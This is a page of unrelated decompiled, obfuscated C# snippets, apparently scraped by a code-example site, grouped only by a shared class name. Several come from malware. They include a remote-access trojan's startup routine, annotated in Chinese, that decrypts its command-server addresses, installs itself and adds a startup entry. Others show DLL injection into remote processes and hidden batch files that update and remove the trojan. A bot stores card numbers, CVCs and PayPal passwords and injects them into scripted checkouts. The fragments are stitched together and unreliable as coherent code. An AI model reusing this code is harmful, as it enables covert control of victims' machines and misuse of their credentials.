public void method_0(GClass4 gclass4_0)
 {
     if (this.method_2(gclass4_0.IPlugin_0.Name) == null)
     {
         base.List.Add(gclass4_0);
     }
 }
Exemple #2
0
    private void duplicateButton_Click(object sender, EventArgs e)
    {
        if (this.profileListView.SelectedItem == null)
        {
            return;
        }
        GClass4 class2 = ((GClass4)this.profileListView.SelectedItem.RowObject).method_0();

        class2.profileName = class2.profileName + " Copy";
        bool flag = true;
        int  num  = 2;

Label_0049:
        if (num >= 50)
        {
            goto Label_0139;
        }
        using (IEnumerator enumerator = this.arrayList_0.GetEnumerator())
        {
            while (enumerator.MoveNext())
            {
                if (((GClass4)enumerator.Current).profileName.Equals(class2.profileName))
                {
                    goto Label_008A;
                }
            }
            goto Label_0133;
Label_008A:
            if (num == 0x31)
            {
                return;
            }
            flag = false;
            goto Label_0133;
        }
Label_00AF:
        if (num == 2)
        {
            class2.profileName = class2.profileName + " 2";
        }
        else if (num < 11)
        {
            class2.profileName = class2.profileName.Substring(0, class2.profileName.Length - 1) + num.ToString();
        }
        else
        {
            class2.profileName = class2.profileName.Substring(0, class2.profileName.Length - 2) + num.ToString();
        }
        flag = true;
        num++;
        goto Label_0049;
Label_0133:
        if (!flag)
        {
            goto Label_00AF;
        }
Label_0139:
        this.arrayList_0.Add(class2);
        this.profileListView.SetObjects(this.arrayList_0);
    }
Exemple #3
0
 // Token: 0x0600016A RID: 362 RVA: 0x0000634C File Offset: 0x0000454C
 public GClass4()
 {
     base.SetStyle(ControlStyles.SupportsTransparentBackColor, true);
     GClass4.smethod_2(this, GClass4.smethod_1("Segoe UI", 8f));
     GClass4.smethod_3(this, Color.White);
     GClass4.smethod_4(this, Color.Transparent);
     GClass4.smethod_6(this, GClass4.smethod_5(this));
 }
Exemple #4
0
 // Token: 0x060005BB RID: 1467
 private static void smethod_2()
 {
     //判断判断互斥体是否多开,有则失去连接,并且返回
     if (!GClass2.smethod_0(GClass35.string_6))
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //解密Key
     GClass18.smethod_0(GClass35.string_2);
     //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线)
     Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1));
     //解密远程文件下载路径 %AppData%/Subdir/client.exe
     GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5);
     //geoip信息获取ip地理位置国家等信息
     GClass34.smethod_0();
     //判断上线地址是否失败
     if (Class10.gclass25_0.IsEmpty)
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //删除当前目录下的后缀为:Zone.Identifier
     GClass4.smethod_2(GClass0.CurrentPath);
     //判断当前目录是否是下载目录如果不是则进入
     if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath))
     {
         //互斥体存在则关闭
         GClass2.smethod_1();
         //运行下载路径的文件
         GClass13.smethod_0(Class10.client_0);
         return;
     }
     //用户状态更新线程 五秒更新一次
     GClass3.smethod_2();
     //添加程序到用户启动项
     if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1())
     {
         GClass0.AddToStartupFailed = true;
     }
     //添加并初始化实体类
     Class10.smethod_1();
     if (GClass35.bool_3)
     {
         if (Class10.threadStart_0 == null)
         {
             Class10.threadStart_0 = new ThreadStart(Class10.smethod_9);
         }
         new Thread(Class10.threadStart_0).Start();
         return;
     }
 }
Exemple #5
0
        public void testGenericClass4()
        {
            var x    = new GClass4 <string>();
            var type = x.TypeOfT();

            AssertTrue("dimension 1", type.IsArray);
            AssertTrue("dimension 2", type.GetElementType().IsArray);
            AssertEquals("String", type.GetElementType().GetElementType().Name);
        }
Exemple #6
0
    // Token: 0x06000064 RID: 100 RVA: 0x00005448 File Offset: 0x00003648
    public void method_1()
    {
        if (this.bool_1)
        {
            for (;;)
            {
IL_79:
                this.ikeyboardMouseEvents_0.KeyDown -= this.ikeyboardMouseEvents_0_KeyDown;
                for (;;)
                {
IL_60:
                    this.ikeyboardMouseEvents_0.KeyUp -= this.ikeyboardMouseEvents_0_KeyUp;
                    for (;;)
                    {
                        this.ikeyboardMouseEvents_0.Dispose();
                        GClass4 gclass = this.gclass4_0;
                        if (gclass != null)
                        {
                            gclass.method_1();
                            uint num;
                            switch ((num = (num * 4243763548u ^ 418243807u ^ 1079495160u)) % 7u)
                            {
                            case 0u:
                                goto IL_60;

                            case 2u:
                                goto IL_94;

                            case 3u:
                            case 4u:
                                return;

                            case 5u:
                                continue;

                            case 6u:
                                goto IL_79;
                            }
                            goto Block_3;
                        }
                        goto IL_93;
                    }
                }
            }
Block_3:
            return;

IL_93:
IL_94:
            this.bool_1 = false;
            return;
        }
    }
 // Token: 0x06000422 RID: 1058 RVA: 0x001D3564 File Offset: 0x001D1964
 public Client(TcpClient c, SK sk)
 {
     this.bool_0   = false;
     this.CN       = true;
     this.CName    = "Unknown";
     this.Co       = "--";
     this.int_0    = 5;
     this.Isend    = false;
     this.isPL     = false;
     this.IsPNGED  = false;
     this.lastAC   = string.Empty;
     this.lastPC   = default(DateTime);
     this.lastPing = DateTime.Now;
     this.msec     = 0L;
     this.NoPing   = false;
     this.plg      = new List <string>();
     this.string_0 = string.Empty;
     this.t        = new System.Threading.Timer(new TimerCallback(this.lam__6), null, 0, 3000);
     this.M        = new MemoryStream();
     this.b        = new byte[1];
     this.string_1 = string.Empty;
     this.Length   = -1L;
     this.osk      = null;
     this.bool_1   = false;
     this.Client   = c;
     this.SK       = sk;
     try
     {
         GClass4 gclass = Class7.gclass3_0.method_4(c.Client.RemoteEndPoint.ToString().Split(new char[]
         {
             ':'
         })[0]);
         this.Co    = gclass.method_0();
         this.CName = gclass.method_1();
         bool flag = Operators.CompareString(this.Co, "A1", false) == 0 | Operators.CompareString(this.Co, "A2", false) == 0;
         if (flag)
         {
             this.Co = "--";
         }
         flag = !Class7.form1_0.IMG2.Images.ContainsKey(this.Co + ".png");
         if (flag)
         {
             this.Co = "--";
         }
         this.COI = (Bitmap)Class7.form1_0.IMG2.Images[this.Co + ".png"];
     }
     catch (Exception ex)
     {
     }
     this.Client.Client.BeginReceive(this.b, 0, this.b.Length, SocketFlags.None, new AsyncCallback(this.b_read), null);
 }
Exemple #8
0
    // Token: 0x0600032F RID: 815 RVA: 0x01038120 File Offset: 0x01036320
    public override IntPtr \u202D\u202D\u206E\u200F\u206F\u206C\u202A\u200D\u200F\u206B\u200F\u200C\u200B\u200F\u206D\u202D\u206D\u206B\u206D\u200F\u202C\u202A\u200C\u206F\u206D\u202D\u206D\u200B\u206D\u206B\u206D\u200B\u200D\u202B\u200F\u206D\u206E\u202A\u200D\u206F\u202E(string string_0, IntPtr intptr_0)
    {
        this.vmethod_0();
        if (!intptr_0.smethod_4() && !intptr_0.smethod_2(-1L))
        {
            try
            {
                IntPtr result      = IntPtr.Zero;
                IntPtr procAddress = GClass5.GetProcAddress(GClass5.GetModuleHandleA("kernel32.dll"), "LoadLibraryW");
                if (procAddress.smethod_4())
                {
                    throw new Exception("Unable to locate the LoadLibraryW entry point");
                }
                IntPtr intPtr = GClass5.smethod_0(intptr_0, Encoding.Unicode.GetBytes(string_0 + "\0"), 4);
                if (!intPtr.smethod_4())
                {
                    try
                    {
                        uint num = GClass5.smethod_7(intptr_0, procAddress, (uint)intPtr.ToInt32(), 10000);
                        if (num == 0u)
                        {
                            throw new Exception("Failed to load module into remote process. Error code: " + GClass5.smethod_1(intptr_0).ToString());
                        }
                        if (num != 4294967295u)
                        {
                            result = GClass4.smethod_3((long)((ulong)num));
                            goto IL_E5;
                        }
                        throw new Exception("Error occurred when calling function in the remote process");
                    }
                    finally
                    {
                        GClass5.VirtualFreeEx(intptr_0, intPtr, 0, 32768);
                    }
                    goto IL_DA;
IL_E5:
                    return(result);
                }
IL_DA:
                throw new InvalidOperationException("Failed to allocate memory in the remote process");
            }
            catch (Exception exception_)
            {
                this.vmethod_2(exception_);
                return(IntPtr.Zero);
            }
        }
        throw new ArgumentOutOfRangeException("hProcess", "Invalid process handle specified.");
    }
Exemple #9
0
    // Token: 0x06000275 RID: 629 RVA: 0x01036920 File Offset: 0x01034B20
    public static IntPtr smethod_2(IntPtr intptr_0, string string_0)
    {
        IntPtr procAddress = GClass5.GetProcAddress(GClass5.GetModuleHandleA("kernel32.dll"), "GetModuleHandleW");
        IntPtr result      = IntPtr.Zero;

        if (!procAddress.smethod_4())
        {
            IntPtr intPtr = GClass5.smethod_0(intptr_0, Encoding.Unicode.GetBytes(string_0 + "\0"), 4);
            if (!intPtr.smethod_4())
            {
                result = GClass4.smethod_3((long)((ulong)GClass5.smethod_7(intptr_0, procAddress, (uint)intPtr.ToInt32(), 1000)));
                GClass5.VirtualFreeEx(intptr_0, intPtr, 0, 32768);
            }
        }
        return(result);
    }
Exemple #10
0
    private void addButton_Click(object sender, EventArgs e)
    {
        if (this.profileName.Text.Equals(string.Empty))
        {
            MessageBox.Show("Please enter a profile name.");
            return;
        }
        using (IEnumerator enumerator = this.arrayList_0.GetEnumerator())
        {
            while (enumerator.MoveNext())
            {
                if (((GClass4)enumerator.Current).profileName.Equals(this.profileName.Text))
                {
                    goto Label_005E;
                }
            }
            goto Label_007F;
Label_005E:
            MessageBox.Show("A profile with this name already exists! Please select another name.");
            return;
        }
Label_007F:
        if (!this.method_1())
        {
            MessageBox.Show("Please fill in all required fields.");
        }
        else
        {
            if (this.ccRadio.Checked)
            {
                GClass4 class2 = new GClass4(this.profileName.Text, this.countryBox.SelectedIndex, 0, this.euName.Text, this.euLastName.Text, this.euAddress1.Text, this.euAddress2.Text, this.euCity.Text, this.euPostal.Text, this.stateCombo.SelectedIndex, this.phoneBox.Text, this.euEmail.Text, this.cardName.Text, this.cardNumber.Text, this.exMonth.SelectedIndex, this.exYear.SelectedIndex, this.cvc.Text, this.proxyBox.Checked);
                this.arrayList_0.Add(class2);
                this.sharpSerializer_0.Serialize(this.arrayList_0, "acdata.bin");
                this.profileListView.SetObjects(this.arrayList_0);
                this.method_0();
            }
            if (this.ppRadio.Checked)
            {
                GClass4 class3 = new GClass4(this.profileName.Text, this.countryBox.SelectedIndex, 1, this.ppName.Text, this.ppPw.Text, this.proxyBox.Checked);
                this.arrayList_0.Add(class3);
                this.sharpSerializer_0.Serialize(this.arrayList_0, "acdata.bin");
                this.profileListView.SetObjects(this.arrayList_0);
                this.method_0();
            }
        }
    }
Exemple #11
0
    // Token: 0x0600017D RID: 381 RVA: 0x0001027C File Offset: 0x0000E47C
    public static async Task smethod_0(GClass4 gclass4_0, string string_0, JObject jobject_0)
    {
        int num = 0;

        while ((int)DateTime.Now.Subtract(gclass4_0.dateTime_0).TotalMilliseconds < Class130.int_0 + 1000)
        {
            JToken jtoken = (Class130.jarray_0.Count > 0) ? Class130.jarray_0[num] : null;
            try
            {
                using (Class14 @class = new Class14((string)((jtoken != null) ? jtoken["proxy"] : null), "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36", 10, true, false, jobject_0))
                {
                    gclass4_0.task_1 = @class.method_2(string_0, true);
                    await gclass4_0.task_1;
                }
                Class14 @class = null;
                goto IL_19D;
            }
            catch
            {
                goto IL_19D;
            }
            goto IL_11D;
IL_124:
            TaskAwaiter taskAwaiter = Task.Delay(Class130.int_0).GetAwaiter();
            if (!taskAwaiter.IsCompleted)
            {
                await       taskAwaiter;
                TaskAwaiter taskAwaiter2;
                taskAwaiter  = taskAwaiter2;
                taskAwaiter2 = default(TaskAwaiter);
            }
            taskAwaiter.GetResult();
            continue;
IL_11D:
            num = 0;
            goto IL_124;
IL_19D:
            num++;
            if (num >= Class130.jarray_0.Count)
            {
                goto IL_11D;
            }
            goto IL_124;
        }
    }
Exemple #12
0
    // Token: 0x0600017E RID: 382 RVA: 0x000102D4 File Offset: 0x0000E4D4
    public static Task <HttpResponseMessage> smethod_1(string string_0, JObject jobject_0, bool bool_0)
    {
        if (GClass2.concurrentDictionary_0.ContainsKey(string_0))
        {
            if (GClass2.concurrentDictionary_0[string_0].task_0.Status == TaskStatus.WaitingForActivation)
            {
                GClass2.concurrentDictionary_0[string_0].dateTime_0 = DateTime.Now;
                goto IL_8B;
            }
        }
        if (bool_0)
        {
            GClass3.smethod_0("Starting monitor for: " + new Uri(string_0).Authority, "Monitor");
        }
        GClass4 gclass = new GClass4();

        GClass2.concurrentDictionary_0[string_0]        = gclass;
        GClass2.concurrentDictionary_0[string_0].task_0 = GClass2.smethod_0(gclass, string_0, jobject_0);
IL_8B:
        return(GClass2.concurrentDictionary_0[string_0].task_1);
    }
Exemple #13
0
 private void editButton_Click(object sender, EventArgs e)
 {
     if (this.profileListView.SelectedItem != null)
     {
         GClass4 rowObject = (GClass4)this.profileListView.SelectedItem.RowObject;
         this.gclass4_0 = rowObject;
         this.countryBox.SelectedIndex = rowObject.countryCode;
         this.profileName.Text         = rowObject.profileName;
         this.proxyBox.Checked         = rowObject.useProxy;
         if (rowObject.paymentMethod == 0)
         {
             this.ccRadio.PerformClick();
             this.euName.Text              = rowObject.name;
             this.euLastName.Text          = rowObject.lastName;
             this.euAddress1.Text          = rowObject.address1;
             this.euAddress2.Text          = rowObject.address2;
             this.euCity.Text              = rowObject.city;
             this.euPostal.Text            = rowObject.postalCode;
             this.stateCombo.SelectedIndex = rowObject.stateCode;
             this.phoneBox.Text            = rowObject.phoneNumber;
             this.euEmail.Text             = rowObject.email;
             this.cardName.Text            = rowObject.cardName;
             this.cardNumber.Text          = rowObject.cardNumber;
             this.exMonth.SelectedIndex    = rowObject.expireMonth;
             this.exYear.SelectedIndex     = rowObject.expireYear;
             this.cvc.Text = rowObject.cvc;
         }
         if (rowObject.paymentMethod == 1)
         {
             this.ppRadio.PerformClick();
             this.ppName.Text = rowObject.ppLogin;
             this.ppPw.Text   = rowObject.ppPw;
         }
         this.bool_0               = true;
         this.headerLabel.Text     = "Edit profile:";
         this.saveButton.Visible   = true;
         this.cancelButton.Visible = true;
         this.addButton.Visible    = false;
     }
 }
Exemple #14
0
 private void saveButton_Click(object sender, EventArgs e)
 {
     if (this.profileName.Text.Equals(string.Empty))
     {
         MessageBox.Show("Please enter a profile name.");
     }
     else if (!this.method_1())
     {
         MessageBox.Show("Please fill in all required fields.");
     }
     else
     {
         if (this.gclass4_0 != null)
         {
             this.arrayList_0.Remove(this.gclass4_0);
         }
         this.gclass4_0 = null;
         if (this.ccRadio.Checked)
         {
             GClass4 class2 = new GClass4(this.profileName.Text, this.countryBox.SelectedIndex, 0, this.euName.Text, this.euLastName.Text, this.euAddress1.Text, this.euAddress2.Text, this.euCity.Text, this.euPostal.Text, this.stateCombo.SelectedIndex, this.phoneBox.Text, this.euEmail.Text, this.cardName.Text, this.cardNumber.Text, this.exMonth.SelectedIndex, this.exYear.SelectedIndex, this.cvc.Text, this.proxyBox.Checked);
             this.arrayList_0.Add(class2);
             this.sharpSerializer_0.Serialize(this.arrayList_0, "acdata.bin");
             this.profileListView.SetObjects(this.arrayList_0);
             this.method_0();
         }
         if (this.ppRadio.Checked)
         {
             GClass4 class3 = new GClass4(this.profileName.Text, this.countryBox.SelectedIndex, 1, this.ppName.Text, this.ppPw.Text, this.proxyBox.Checked);
             this.arrayList_0.Add(class3);
             this.sharpSerializer_0.Serialize(this.arrayList_0, "acdata.bin");
             this.profileListView.SetObjects(this.arrayList_0);
             this.method_0();
         }
         this.bool_0               = false;
         this.saveButton.Visible   = false;
         this.cancelButton.Visible = false;
         this.addButton.Visible    = true;
     }
 }
Exemple #15
0
 // Token: 0x06000078 RID: 120 RVA: 0x000060E0 File Offset: 0x000042E0
 public static void smethod_0(Client client)
 {
     if (!GClass35.bool_0)
     {
         new SetStatus("Uninstallation failed: Installation is not enabled").Execute(client);
         return;
     }
     GClass14.smethod_1();
     if (GClass35.bool_1)
     {
         GClass16.smethod_2();
     }
     try
     {
         if (!GClass4.smethod_5(GClass0.CurrentPath))
         {
             new SetStatus("Uninstallation failed: File is read-only").Execute(client);
         }
         string text = GClass4.smethod_3(GClass35.bool_0 && GClass35.bool_2);
         if (!string.IsNullOrEmpty(text))
         {
             ProcessStartInfo startInfo = new ProcessStartInfo
             {
                 WindowStyle     = ProcessWindowStyle.Hidden,
                 CreateNoWindow  = true,
                 UseShellExecute = true,
                 FileName        = text
             };
             Process.Start(startInfo);
         }
     }
     finally
     {
         GClass0.Disconnect = true;
         client.Disconnect();
     }
 }
Exemple #16
0
 // Token: 0x0600007A RID: 122 RVA: 0x000061D8 File Offset: 0x000043D8
 public static void smethod_0(Client c, string newFilePath)
 {
     try
     {
         GClass4.smethod_2(newFilePath);
         byte[] array = File.ReadAllBytes(newFilePath);
         if (array[0] != 77 && array[1] != 90)
         {
             throw new Exception("no pe file");
         }
         string text = GClass4.smethod_4(newFilePath, GClass35.bool_0 && GClass35.bool_2);
         if (string.IsNullOrEmpty(text))
         {
             throw new Exception("Could not create update batch file.");
         }
         ProcessStartInfo startInfo = new ProcessStartInfo
         {
             WindowStyle     = ProcessWindowStyle.Hidden,
             CreateNoWindow  = true,
             UseShellExecute = true,
             FileName        = text
         };
         Process.Start(startInfo);
         GClass0.Disconnect = true;
         if (GClass35.bool_0 && GClass35.bool_1)
         {
             GClass16.smethod_2();
         }
         c.Disconnect();
     }
     catch (Exception ex)
     {
         GClass26.DeleteFile(newFilePath);
         new SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(c);
     }
 }
    private void method_3(GClass0 gclass0_0)
    {
        Task <JavascriptResponse> task;
        TimeSpan?nullable;
        Task <JavascriptResponse> task2;

        base.Invoke(new MethodInvoker(this.method_13));
        GClass4 checkoutProfile = gclass0_0.checkoutProfile;
        bool    flag            = false;
        bool    flag2           = false;
        bool    flag3           = false;
        int     num             = 0;

        while (true)
        {
            if (flag || (flag2 || flag3))
            {
                break;
            }
            nullable = null;
            task     = this.chromiumWebBrowser_0.EvaluateScriptAsync(Class21.string_8, nullable);
            task.Wait();
            nullable = null;
            task2    = this.chromiumWebBrowser_0.EvaluateScriptAsync("if(!!document.getElementById('btnLogin')) 'exists';", nullable);
            task2.Wait();
            nullable = null;
            Task <JavascriptResponse> task3 = this.chromiumWebBrowser_0.EvaluateScriptAsync("if(!!document.getElementsByClassName('loginRedirect')[0]) 'exists';", nullable);
            task3.Wait();
            Thread.Sleep(500);
            flag  = (task.get_Result().Result != null) && ((string)task.get_Result().Result).Equals("exists");
            flag2 = (task2.get_Result().Result != null) && ((string)task2.get_Result().Result).Equals("exists");
            flag3 = (task3.get_Result().Result != null) && ((string)task3.get_Result().Result).Equals("exists");
            if (num > 30)
            {
                gclass0_0.autoCheckoutState = -1;
                gclass0_0.button0           = "Start auto checkout";
                gclass0_0.button1           = "Checkout PP";
                gclass0_0.button2           = "Checkout CC";
                gclass0_0.button3           = "View Cart";
                if (this.mainForm_0 != null)
                {
                    this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout failed!\n");
                }
                return;
            }
            num++;
        }
        Thread.Sleep(0x3e8);
        if (flag)
        {
            nullable = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync((Class21.string_9 + ".getElementById('email').value = '" + checkoutProfile.ppLogin + "';"), nullable).Wait();
            nullable = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync((Class21.string_9 + ".getElementById('password').value = '" + checkoutProfile.ppPw + "';"), nullable).Wait();
            nullable = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync((Class21.string_9 + ".getElementById('btnLogin').click();"), nullable).Wait();
        }
        else if (flag2)
        {
            nullable = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync(("document.getElementById('email').value = '" + checkoutProfile.ppLogin + "';"), nullable).Wait();
            nullable = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync(("document.getElementById('password').value = '" + checkoutProfile.ppPw + "';"), nullable).Wait();
            nullable = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementById('btnLogin').click();", nullable).Wait();
        }
        else if (flag3)
        {
            nullable = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementsByClassName('btn full ng-binding')[0].click();", nullable).Wait();
            flag  = false;
            flag2 = false;
            num   = 0;
            while (true)
            {
                if (flag || flag2)
                {
                    break;
                }
                nullable = null;
                task     = this.chromiumWebBrowser_0.EvaluateScriptAsync(Class21.string_8, nullable);
                task.Wait();
                nullable = null;
                task2    = this.chromiumWebBrowser_0.EvaluateScriptAsync("if(!!document.getElementById('btnLogin')) 'exists';", nullable);
                task2.Wait();
                Thread.Sleep(500);
                flag  = (task.get_Result().Result != null) && ((string)task.get_Result().Result).Equals("exists");
                flag2 = (task2.get_Result().Result != null) && ((string)task2.get_Result().Result).Equals("exists");
                if (num > 30)
                {
                    gclass0_0.autoCheckoutState = -1;
                    gclass0_0.button0           = "Start auto checkout";
                    gclass0_0.button1           = "Checkout PP";
                    gclass0_0.button2           = "Checkout CC";
                    gclass0_0.button3           = "View Cart";
                    if (this.mainForm_0 != null)
                    {
                        this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout failed!\n");
                    }
                    return;
                }
                num++;
            }
            Thread.Sleep(0x3e8);
            if (flag)
            {
                nullable = null;
                this.chromiumWebBrowser_0.EvaluateScriptAsync((Class21.string_9 + ".getElementById('email').value = '" + checkoutProfile.ppLogin + "';"), nullable).Wait();
                nullable = null;
                this.chromiumWebBrowser_0.EvaluateScriptAsync((Class21.string_9 + ".getElementById('password').value = '" + checkoutProfile.ppPw + "';"), nullable).Wait();
                nullable = null;
                this.chromiumWebBrowser_0.EvaluateScriptAsync((Class21.string_9 + "contentDocument.getElementById('btnLogin').click();"), nullable).Wait();
            }
            else if (flag2)
            {
                nullable = null;
                this.chromiumWebBrowser_0.EvaluateScriptAsync(("document.getElementById('email').value = '" + checkoutProfile.ppLogin + "';"), nullable).Wait();
                nullable = null;
                this.chromiumWebBrowser_0.EvaluateScriptAsync(("document.getElementById('password').value = '" + checkoutProfile.ppPw + "';"), nullable).Wait();
                nullable = null;
                this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementById('btnLogin').click();", nullable).Wait();
            }
        }
        nullable = null;
        task     = this.chromiumWebBrowser_0.EvaluateScriptAsync(Class21.string_10, nullable);
        task.Wait();
        num = 0;
        while ((task.get_Result().Result == null) || !((string)task.get_Result().Result).Equals("exists"))
        {
            nullable = null;
            task     = this.chromiumWebBrowser_0.EvaluateScriptAsync(Class21.string_10, nullable);
            task.Wait();
            Thread.Sleep(500);
            num++;
            if (num > 30)
            {
                nullable = null;
                task     = this.chromiumWebBrowser_0.EvaluateScriptAsync("if(!!document.getElementById('pageLevelErrors')) 'exists';", nullable);
                task.Wait();
                task = this.chromiumWebBrowser_0.EvaluateScriptAsync("if(!!document.getElementsByClassName('notification notification-critical')[0]) 'exists';", (TimeSpan?)null);
                task.Wait();
                bool flag4 = (task.get_Result().Result != null) && ((string)task.get_Result().Result).Equals("exists");
                gclass0_0.autoCheckoutState = -1;
                gclass0_0.button0           = "Start auto checkout";
                gclass0_0.button1           = "Checkout PP";
                gclass0_0.button2           = "Checkout CC";
                gclass0_0.button3           = "View Cart";
                if ((task.get_Result().Result != null) && ((string)task.get_Result().Result).Equals("exists"))
                {
                    if (this.mainForm_0 != null)
                    {
                        this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout failed! Either the login data is wrong or your shipping address is invalid. \n");
                    }
                }
                else if (flag4)
                {
                    if (this.mainForm_0 != null)
                    {
                        this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout failed! Wrong login data. \n");
                    }
                }
                else if (this.mainForm_0 != null)
                {
                    this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout failed!\n");
                }
                return;
            }
        }
        Thread.Sleep(0x3e8);
        nullable = null;
        this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementById('confirmButtonTop').click();", nullable).Wait();
        Thread.Sleep(0x3e8);
        nullable = null;
        task     = this.chromiumWebBrowser_0.EvaluateScriptAsync(Class21.string_11, nullable);
        task.Wait();
        num = 0;
        while ((task.get_Result().Result == null) || !((string)task.get_Result().Result).Equals("exists"))
        {
            nullable = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync(Class21.string_11, nullable).Wait();
            Thread.Sleep(500);
            num++;
            if (num > 30)
            {
                gclass0_0.autoCheckoutState = -1;
                gclass0_0.button0           = "Start auto checkout";
                gclass0_0.button1           = "Checkout PP";
                gclass0_0.button2           = "Checkout CC";
                gclass0_0.button3           = "View Cart";
                if (this.mainForm_0 != null)
                {
                    this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout failed!\n");
                }
                return;
            }
        }
        Thread.Sleep(0xbb8);
        nullable = null;
        this.chromiumWebBrowser_0.EvaluateScriptAsync("document.getElementsByName('dwfrm_payment_paypal')[0].click();", nullable).Wait();
        Thread.Sleep(0x7d0);
        nullable = null;
        task     = this.chromiumWebBrowser_0.EvaluateScriptAsync("if(!!document.getElementsByClassName('thankyoumessage')[0]) 'exists';", nullable);
        task.Wait();
        num = 0;
        while ((task.get_Result().Result == null) || !((string)task.get_Result().Result).Equals("exists"))
        {
            nullable = null;
            this.chromiumWebBrowser_0.EvaluateScriptAsync("if(!!document.getElementsByClassName('thankyoumessage')[0]) 'exists';", nullable).Wait();
            Thread.Sleep(500);
            num++;
            if (num > 30)
            {
                gclass0_0.autoCheckoutState = -1;
                gclass0_0.button0           = "Start auto checkout";
                gclass0_0.button1           = "Checkout PP";
                gclass0_0.button2           = "Checkout CC";
                gclass0_0.button3           = "View Cart";
                if (this.mainForm_0 != null)
                {
                    this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout failed during last step. Please check your email to see if the order was successful. \n");
                }
                return;
            }
        }
        gclass0_0.autoCheckoutState = 2;
        gclass0_0.button0           = "View order confirmation";
        gclass0_0.button1           = string.Empty;
        gclass0_0.button2           = string.Empty;
        gclass0_0.button3           = string.Empty;
        base.Invoke(new MethodInvoker(this.method_14));
        if (this.mainForm_0 != null)
        {
            this.mainForm_0.method_13(DateTime.Now.ToString("hh:mm:ss") + ":  Task " + gclass0_0.id.ToString() + ": Auto Checkout successfull!\n");
        }
    }
 public void method_1(GClass4 gclass4_0)
 {
     base.List.Remove(gclass4_0);
 }
Exemple #19
0
 public GClass0(int int_5, string string_9, int int_6, bool bool_8, string string_10, string string_11, string string_12, string string_13, string string_14, bool bool_9, string string_15, bool bool_10, GClass4 gclass4_1)
 {
     this.button1                  = "Checkout PP";
     this.button2                  = "Checkout CC";
     this.button3                  = "View Cart";
     this.button4                  = "Log in to account";
     this.button0                  = "Start auto checkout";
     this.id                       = int_5;
     this.pid                      = string_9;
     this.size                     = int_6;
     this.needsCaptcha             = bool_8;
     this.captchaDuplicate         = string_10;
     this.proxy                    = string_12;
     this.proxyUsername            = string_13;
     this.proxyPW                  = string_14;
     this.additionalParams         = string_11;
     this.automaticStart           = bool_9;
     this.startTime                = string_15;
     this.euSizes                  = bool_10;
     this.isStarted                = false;
     this.automaticNoTokenNotified = false;
     this.locationIndex            = -1;
     this.isAdidasSize             = false;
     this.isCheckout               = false;
     this.adiName                  = string.Empty;
     this.adiPw                    = string.Empty;
     this.checkoutProfile          = gclass4_1;
     this.autoCheckoutState        = 0;
 }
Exemple #20
0
    // Token: 0x0600003C RID: 60 RVA: 0x00004F58 File Offset: 0x00003158
    public static string smethod_4(string newFilePath, bool isFileHidden)
    {
        string result;

        try
        {
            string text     = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), GClass4.smethod_0(12, ".bat"));
            string contents = isFileHidden ? string.Concat(new string[]
            {
                "@echo off\necho DONT CLOSE THIS WINDOW!\nping -n 20 localhost > nul\ndel /A:H \"",
                GClass0.CurrentPath,
                "\"\nmove \"",
                newFilePath,
                "\" \"",
                GClass0.CurrentPath,
                "\"\nstart \"\" \"",
                GClass0.CurrentPath,
                "\"\ndel \"",
                text,
                "\""
            }) : string.Concat(new string[]
            {
                "@echo off\necho DONT CLOSE THIS WINDOW!\nping -n 20 localhost > nul\ndel \"",
                GClass0.CurrentPath,
                "\"\nmove \"",
                newFilePath,
                "\" \"",
                GClass0.CurrentPath,
                "\"\nstart \"\" \"",
                GClass0.CurrentPath,
                "\"\ndel \"",
                text,
                "\""
            });
            File.WriteAllText(text, contents);
            result = text;
        }
        catch (Exception)
        {
            result = string.Empty;
        }
        return(result);
    }
Exemple #21
0
    // Token: 0x06000077 RID: 119 RVA: 0x00005F3C File Offset: 0x0000413C
    public static void smethod_0(Client client)
    {
        bool flag = false;

        if (!Directory.Exists(Path.Combine(GClass35.string_3, GClass35.string_4)))
        {
            try
            {
                Directory.CreateDirectory(Path.Combine(GClass35.string_3, GClass35.string_4));
            }
            catch (Exception)
            {
                GClass0.Disconnect = true;
                return;
            }
        }
        if (File.Exists(GClass0.InstallPath))
        {
            try
            {
                File.Delete(GClass0.InstallPath);
            }
            catch (Exception ex)
            {
                if (ex is IOException || ex is UnauthorizedAccessException)
                {
                    Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(GClass0.InstallPath));
                    int       id = Process.GetCurrentProcess().Id;
